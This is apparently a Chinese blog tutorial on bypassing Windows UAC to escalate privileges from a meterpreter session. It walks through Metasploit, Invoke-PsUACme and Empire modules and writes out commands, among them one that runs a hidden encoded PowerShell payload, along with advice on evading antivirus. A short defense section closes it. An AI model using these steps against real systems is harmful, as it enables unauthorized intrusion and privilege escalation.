绕过UAC提权

简介

UAC是微软为提高系统安全性中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行修改。

微软设置的安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通管理员权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。

UAC授权操作

  • 配置Windows Update
  • 增加/删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装/卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其他用户的文件夹

UAC的设置要求

  • 始终通知:每当有程序需要使用高级别的权限都会提示本地用户,这是最严格的设置。
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。当第三方程序要使用高级别的权限时,会提示本地用户。
  • 仅在程序试图更改我的计算机时通知我(不降低桌面亮度):但在提示用户时不降低桌面的亮度。
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行。

bypassuac模块

假设我们已经获取到了目标机器的一个普通权限的meterpreter shell,现在尝试提升为系统System权限。
在这里插入图片描述
在使用这个模块进行提权时,我们必须得获得本地管理员账户权限,且UAC必须为默认设置,要不然提权失败
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
当bypassuac模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为这模块是直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀软检测的概率。因为这个模块只适用于win7及以下的系统,win8以上的系统不适用,具有一定的局限性。

RunAs模块

我们使用exploit/windows/local/ask模块,创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户继续运行程序,就会返回一个高权限的shell

在这里插入图片描述
在这里插入图片描述
我们点击是后,我们获得了一个新的session 4
在这里插入图片描述
在这里插入图片描述
我们在使用RunAs模块时,需要使用EXE::Custom选项创建一个可执行文件(需要进行免杀处理)

Invoke-PsUACme模块

Invoke-PsUACme模块使用来自UACME项目的DLL绕过UAC,执行如下命令的前提条件是账户必须处在管理员组,接下来我们将使用如下命令做演示

Import-module Invoke-PsUACme.ps1		#导入该模块
Invoke-PsUACme -Verbose					#使用Sysprep方法并执行默认的Payload
Invoke-PsUACme -method oobe -Verbose	#使用oobe方法并执行默认的Payload
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodePayload"

执行完Invoke-PsUACme -Verbose这个命令后,会在Syspreptemp目录下创建了两个文件
在这里插入图片描述
在这里插入图片描述

Empire中的bypassuac模块

  1. bypassuac模块

同样,要执行成功如下命令,用户必须处于管理员组,有星号则表示已经提权成功

usemodule privesc/bypassuac
set Listener shuteer
execute

在这里插入图片描述
2. bypassuac_wscript模块

这个模块的工作原理是,使用C:\Windows\wscript.exe执行payload,即绕过UAC,以管理员权限执行Payload。可惜的是,这个模块只能在win7的机器上使用,而且部分杀毒软件会报毒!

usemodule privesc/bypassuac_wscript
set Listener shuteer
execute

在这里插入图片描述
在这里插入图片描述

防御措施

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员的权限,从而降低系统被攻击的风险。在家庭的网络环境中,建议使用非管理员权限进行办公和娱乐。若是一定要使用管理员权限进行操作,我们可以将UAC设置为"始终通知"或者删除该用户的本地管理员权限,即弹出警告,增加系统机器的安全性。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

平凡的学者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值